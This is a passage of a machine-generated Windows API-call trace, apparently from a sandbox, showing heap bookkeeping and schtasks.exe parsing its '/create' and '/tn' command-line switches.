MemoryPointer=0xdcdf0) returned 0x20 [0060.068] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcdf0 | out: hHeap=0xc0000) returned 1 [0060.068] GetProcessHeap () returned 0xc0000 [0060.068] GetProcessHeap () returned 0xc0000 [0060.068] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc430) returned 1 [0060.068] GetProcessHeap () returned 0xc0000 [0060.068] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc430) returned 0x10 [0060.068] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc430 | out: hHeap=0xc0000) returned 1 [0060.068] GetProcessHeap () returned 0xc0000 [0060.068] GetProcessHeap () returned 0xc0000 [0060.068] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce20) returned 1 [0060.068] GetProcessHeap () returned 0xc0000 [0060.068] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdce20) returned 0x20 [0060.069] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce20 | out: hHeap=0xc0000) returned 1 [0060.069] GetProcessHeap () returned 0xc0000 [0060.069] GetProcessHeap () returned 0xc0000 [0060.069] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc450) returned 1 [0060.069] GetProcessHeap () returned 0xc0000 [0060.069] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc450) returned 0x8 [0060.069] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc450 | out: hHeap=0xc0000) returned 1 [0060.069] GetProcessHeap () returned 0xc0000 [0060.069] GetProcessHeap () returned 0xc0000 [0060.069] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce50) returned 1 [0060.069] GetProcessHeap () returned 0xc0000 [0060.069] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdce50) returned 0x20 [0060.069] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce50 | out: hHeap=0xc0000) returned 1 [0060.069] GetProcessHeap () returned 0xc0000 [0060.069] GetProcessHeap () returned 0xc0000 [0060.070] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xddee0) returned 1 [0060.070] GetProcessHeap () returned 0xc0000 [0060.070] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xddee0) returned 0x80 [0060.070] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xddee0 | out: hHeap=0xc0000) returned 1 [0060.070] GetProcessHeap () returned 0xc0000 [0060.070] GetProcessHeap () returned 0xc0000 [0060.070] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce80) returned 1 [0060.070] GetProcessHeap () returned 0xc0000 [0060.070] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdce80) returned 0x20 [0060.071] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdce80 | out: hHeap=0xc0000) returned 1 [0060.071] GetProcessHeap () returned 0xc0000 [0060.071] GetProcessHeap () returned 0xc0000 [0060.071] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xddf70) returned 1 [0060.071] GetProcessHeap () returned 0xc0000 [0060.071] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xddf70) returned 0x8 [0060.071] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xddf70 | out: hHeap=0xc0000) returned 1 [0060.071] GetProcessHeap () returned 0xc0000 [0060.071] GetProcessHeap () returned 0xc0000 [0060.071] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdceb0) returned 1 [0060.071] GetProcessHeap () returned 0xc0000 [0060.071] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdceb0) returned 0x20 [0060.071] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdceb0 | out: hHeap=0xc0000) returned 1 [0060.071] GetProcessHeap () returned 0xc0000 [0060.071] GetProcessHeap () returned 0xc0000 [0060.071] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd6a0) returned 1 [0060.072] GetProcessHeap () returned 0xc0000 [0060.072] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdd6a0) returned 0x10 [0060.072] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd6a0 | out: hHeap=0xc0000) returned 1 [0060.072] GetProcessHeap () returned 0xc0000 [0060.072] GetProcessHeap () returned 0xc0000 [0060.072] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcee0) returned 1 [0060.072] GetProcessHeap () returned 0xc0000 [0060.072] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcee0) returned 0x20 [0060.072] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcee0 | out: hHeap=0xc0000) returned 1 [0060.072] GetProcessHeap () returned 0xc0000 [0060.072] GetProcessHeap () returned 0xc0000 [0060.072] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xddf90) returned 1 [0060.072] GetProcessHeap () returned 0xc0000 [0060.072] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xddf90) returned 0x6 [0060.072] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xddf90 | out: hHeap=0xc0000) returned 1 [0060.072] GetProcessHeap () returned 0xc0000 [0060.072] GetProcessHeap () returned 0xc0000 [0060.073] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcf10) returned 1 [0060.073] GetProcessHeap () returned 0xc0000 [0060.073] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdcf10) returned 0x20 [0060.073] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdcf10 | out: hHeap=0xc0000) returned 1 [0060.073] GetProcessHeap () returned 0xc0000 [0060.073] GetProcessHeap () returned 0xc0000 [0060.073] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5590) returned 1 [0060.073] GetProcessHeap () returned 0xc0000 [0060.073] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xd5590) returned 0x18 [0060.073] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd5590 | out: hHeap=0xc0000) returned 1 [0060.074] SetLastError (dwErrCode=0x0) [0060.074] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0060.074] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0060.074] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0060.074] VerifyVersionInfoW (in: lpVersionInformation=0x27c710, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27c710) returned 1 [0060.074] SetLastError (dwErrCode=0x0) [0060.074] lstrlenW (lpString="create") returned 6 [0060.074] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0060.074] SetLastError (dwErrCode=0x490) [0060.074] SetLastError (dwErrCode=0x0) [0060.074] lstrlenW (lpString="create") returned 6 [0060.074] GetProcessHeap () returned 0xc0000 [0060.074] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcf10 [0060.074] GetProcessHeap () returned 0xc0000 [0060.074] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdd6a0 [0060.074] _memicmp (_Buf1=0xdd6a0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.074] GetProcessHeap () returned 0xc0000 [0060.074] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x16) returned 0xdd6c0 [0060.074] SetLastError (dwErrCode=0x0) [0060.074] _memicmp (_Buf1=0xdbbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.074] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdbd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0060.075] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0060.075] GetProcessHeap () returned 0xc0000 [0060.075] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x74e) returned 0xddee0 [0060.075] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0xddee0 | out: lpData=0xddee0) returned 1 [0060.075] VerQueryValueW (in: pBlock=0xddee0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27c7f8, puLen=0x27c860 | out: lplpBuffer=0x27c7f8*=0xde27c, puLen=0x27c860) returned 1 [0060.075] _memicmp (_Buf1=0xdbbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.075] _vsnwprintf (in: _Buffer=0xdbd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27c7d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0060.076] VerQueryValueW (in: pBlock=0xddee0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27c868, puLen=0x27c858 | out: lplpBuffer=0x27c868*=0xde0a8, puLen=0x27c858) returned 1 [0060.076] lstrlenW (lpString="schtasks.exe") returned 12 [0060.076] lstrlenW (lpString="schtasks.exe") returned 12 [0060.076] lstrlenW (lpString=".EXE") returned 4 [0060.076] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0060.076] lstrlenW (lpString="schtasks.exe") returned 12 [0060.076] lstrlenW (lpString=".EXE") returned 4 [0060.076] lstrlenW (lpString="schtasks") returned 8 [0060.076] lstrlenW (lpString="/create") returned 7 [0060.076] _memicmp (_Buf1=0xdbbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.076] _vsnwprintf (in: _Buffer=0xdbd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0x27c7d8 | out: _Buffer="schtasks /create") returned 16 [0060.076] _memicmp (_Buf1=0xdbc10, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.076] GetProcessHeap () returned 0xc0000 [0060.076] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcee0 [0060.076] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.076] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0060.076] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0060.076] GetProcessHeap () returned 0xc0000 [0060.076] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x30) returned 0xd7c50 [0060.076] _vsnwprintf (in: _Buffer=0xdc190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27c7d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0060.076] GetProcessHeap () returned 0xc0000 [0060.076] GetProcessHeap () returned 0xc0000 [0060.076] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xddee0) returned 1 [0060.077] GetProcessHeap () returned 0xc0000 [0060.077] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xddee0) returned 0x74e [0060.077] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xddee0 | out: hHeap=0xc0000) returned 1 [0060.077] SetLastError (dwErrCode=0x0) [0060.077] GetThreadLocale () returned 0x409 [0060.077] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.077] lstrlenW (lpString="create") returned 6 [0060.077] GetThreadLocale () returned 0x409 [0060.077] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.077] lstrlenW (lpString="?") returned 1 [0060.077] GetThreadLocale () returned 0x409 [0060.077] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.077] lstrlenW (lpString="s") returned 1 [0060.077] GetThreadLocale () returned 0x409 [0060.077] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.077] lstrlenW (lpString="u") returned 1 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="p") returned 1 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="ru") returned 2 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="rp") returned 2 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="sc") returned 2 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="mo") returned 2 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="d") returned 1 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="m") returned 1 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="i") returned 1 [0060.078] GetThreadLocale () returned 0x409 [0060.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.078] lstrlenW (lpString="tn") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="tr") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="st") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="sd") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="ed") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="it") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="et") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="k") returned 1 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="du") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.079] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.079] lstrlenW (lpString="ri") returned 2 [0060.079] GetThreadLocale () returned 0x409 [0060.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.080] lstrlenW (lpString="z") returned 1 [0060.080] GetThreadLocale () returned 0x409 [0060.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.080] lstrlenW (lpString="f") returned 1 [0060.080] GetThreadLocale () returned 0x409 [0060.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.080] lstrlenW (lpString="v1") returned 2 [0060.080] GetThreadLocale () returned 0x409 [0060.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.080] lstrlenW (lpString="xml") returned 3 [0060.080] GetThreadLocale () returned 0x409 [0060.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.080] lstrlenW (lpString="ec") returned 2 [0060.080] GetThreadLocale () returned 0x409 [0060.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.080] lstrlenW (lpString="rl") returned 2 [0060.080] GetThreadLocale () returned 0x409 [0060.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.080] lstrlenW (lpString="delay") returned 5 [0060.080] GetThreadLocale () returned 0x409 [0060.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.080] lstrlenW (lpString="np") returned 2 [0060.080] SetLastError (dwErrCode=0x0) [0060.080] SetLastError (dwErrCode=0x0) [0060.081] lstrlenW (lpString="/create") returned 7 [0060.081] lstrlenW (lpString="-/") returned 2 [0060.081] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.081] lstrlenW (lpString="create") returned 6 [0060.081] lstrlenW (lpString="create") returned 6 [0060.081] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.081] lstrlenW (lpString="create") returned 6 [0060.081] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.081] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0060.081] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0060.081] lstrlenW (lpString="|create|") returned 8 [0060.081] lstrlenW (lpString="|create|") returned 8 [0060.081] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0060.081] SetLastError (dwErrCode=0x0) [0060.081] SetLastError (dwErrCode=0x0) [0060.081] SetLastError (dwErrCode=0x0) [0060.081] lstrlenW (lpString="/tn") returned 3 [0060.081] lstrlenW (lpString="-/") returned 2 [0060.081] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.081] lstrlenW (lpString="create") returned 6 [0060.081] lstrlenW (lpString="create") returned 6 [0060.081] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.081] lstrlenW (lpString="tn") returned 2 [0060.081] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.081] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0060.082] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.082] lstrlenW (lpString="|create|") returned 8 [0060.082] lstrlenW (lpString="|tn|") returned 4 [0060.082] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0060.082] SetLastError (dwErrCode=0x490) [0060.082] lstrlenW (lpString="?") returned 1 [0060.082] lstrlenW (lpString="?") returned 1 [0060.082] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.082] lstrlenW (lpString="tn") returned 2 [0060.082] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.082] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0060.082] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.082] lstrlenW (lpString="|?|") returned 3 [0060.082] lstrlenW (lpString="|tn|") returned 4 [0060.082] SetLastError (dwErrCode=0x490) [0060.082] lstrlenW (lpString="s") returned 1 [0060.082] lstrlenW (lpString="s") returned 1 [0060.082] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.082] lstrlenW (lpString="tn") returned 2 [0060.082] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.082] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0060.082] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.082] lstrlenW (lpString="|s|") returned 3 [0060.082] lstrlenW (lpString="|tn|") returned 4 [0060.083] SetLastError (dwErrCode=0x490) [0060.083] lstrlenW (lpString="u") returned 1 [0060.083] lstrlenW (lpString="u") returned 1 [0060.083] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.083] lstrlenW (lpString="tn") returned 2 [0060.083] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.083] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0060.083] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.083] lstrlenW (lpString="|u|") returned 3 [0060.083] lstrlenW (lpString="|tn|") returned 4 [0060.083] SetLastError (dwErrCode=0x490) [0060.083] lstrlenW (lpString="p") returned 1 [0060.083] lstrlenW (lpString="p") returned 1 [0060.083] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.083] lstrlenW (lpString="tn") returned 2 [0060.083] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.084] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0060.084] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.084] lstrlenW (lpString="|p|") returned 3 [0060.084] lstrlenW (lpString="|tn|") returned 4 [0060.084] SetLastError (dwErrCode=0x490) [0060.084] lstrlenW (lpString="ru") returned 2 [0060.084] lstrlenW (lpString="ru") returned 2 [0060.084] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.084] lstrlenW (lpString="tn") returned 2 [0060.084] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.084] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0060.084] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.084] lstrlenW (lpString="|ru|") returned 4 [0060.084] lstrlenW (lpString="|tn|") returned 4 [0060.084] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0060.084] SetLastError (dwErrCode=0x490) [0060.084] lstrlenW (lpString="rp") returned 2 [0060.084] lstrlenW (lpString="rp") returned 2 [0060.084] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.084] lstrlenW (lpString="tn") returned 2 [0060.084] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.084] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0060.085] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.085] lstrlenW (lpString="|rp|") returned 4 [0060.085] lstrlenW (lpString="|tn|") returned 4 [0060.085] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0060.085] SetLastError (dwErrCode=0x490) [0060.085] lstrlenW (lpString="sc") returned 2 [0060.085] lstrlenW (lpString="sc") returned 2 [0060.085] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.085] lstrlenW (lpString="tn") returned 2 [0060.085] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.085] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.085] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.085] lstrlenW (lpString="|sc|") returned 4 [0060.085] lstrlenW (lpString="|tn|") returned 4 [0060.085] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0060.085] SetLastError (dwErrCode=0x490) [0060.085] lstrlenW (lpString="mo") returned 2 [0060.085] lstrlenW (lpString="mo") returned 2 [0060.085] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.085] lstrlenW (lpString="tn") returned 2 [0060.085] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.085] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0060.085] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.085] lstrlenW (lpString="|mo|") returned 4 [0060.085] lstrlenW (lpString="|tn|") returned 4 [0060.086] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0060.086] SetLastError (dwErrCode=0x490) [0060.086] lstrlenW (lpString="d") returned 1 [0060.086] lstrlenW (lpString="d") returned 1 [0060.086] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.086] lstrlenW (lpString="tn") returned 2 [0060.086] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.086] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|d|") returned 3 [0060.086] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.086] lstrlenW (lpString="|d|") returned 3 [0060.086] lstrlenW (lpString="|tn|") returned 4 [0060.086] SetLastError (dwErrCode=0x490) [0060.086] lstrlenW (lpString="m") returned 1 [0060.086] lstrlenW (lpString="m") returned 1 [0060.086] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 